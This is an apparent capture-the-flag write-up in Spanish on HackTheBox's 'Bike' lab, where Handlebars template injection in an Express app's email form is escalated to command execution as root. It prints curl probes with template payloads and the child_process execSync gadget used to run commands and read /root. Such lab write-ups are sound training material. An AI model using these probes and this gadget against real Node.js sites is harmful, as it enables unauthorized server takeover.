Dificultad: Very Easy · SO: Linux · Tema: SSTI en Handlebars (Node.js/Express) hasta RCE como root
La que más me hizo sufrir de las fáciles — y por eso la que más enseñó.
nmap -p- -sV -sC <IP>

Servidor Linux con Node.js en el sitio web. Verifico con curl y wget — tengo un web server como víctima:

Fingerprinting del stack (prefiero whatweb, pero Wappalyzer da lo mismo — va en gustos):
whatweb <IP>
[200 OK] HTML5, JQuery[2.2.4], Title[Bike], X-Powered-By[Express]

El sitio "en construcción" tiene un formulario que pide un email. Esa pista directa apunta al vector: el input viaja al backend sin sanear.
Payload de prueba clásico:
curl -X POST "http://<IP>" -d 'email={{7*7}}'
El error devuelto confirma el motor:
| Payload | Resultado | Motor confirmado |
|---|---|---|
{{7*7}} |
Error Handlebars | Handlebars |

Metodología ordenada con outputs a archivo para no perder nada:
mkdir -p ~/htb/Bike/SSTI-testing && cd ~/htb/Bike/SSTI-testing
curl -X POST "http://<IP>" -d 'id={{this}}' > 01_this.txt
curl -X POST "http://<IP>" -d 'id={{process.mainModule.filename}}' > 05_path.txt
Referencia de payloads: PayloadsAllTheThings — sección JavaScript/Handlebars.
El stack trace reveló algo interesante: doble procesamiento de templates (compile() → resultado → compile()), lo que explicaba por qué payloads directos devolvían undefined.
Después de varias pruebas a ciegas, opté por trabajar con Caido (proxy tipo Burp, me resulta más cómodo). Scope definido por proyecto, captura enfocada en el punto de inyección:

Capturo la petición POST real, Ctrl+R al Repeater y pruebo el payload encodeado — después de varios intentos de encoding, el cometido:

El payload completo (URL-encoded) ejecuta:
process.mainModule.require('child_process').execSync('<comando>').toString()
Primero id — ejecución de comandos como root confirmada:

Luego ls -la /root:

Y finalmente el cat /root/flag.txt con el mismo vector, obteniendo la flag de root (redactada en esta versión pública):
{{7*7}} es tu detector universal.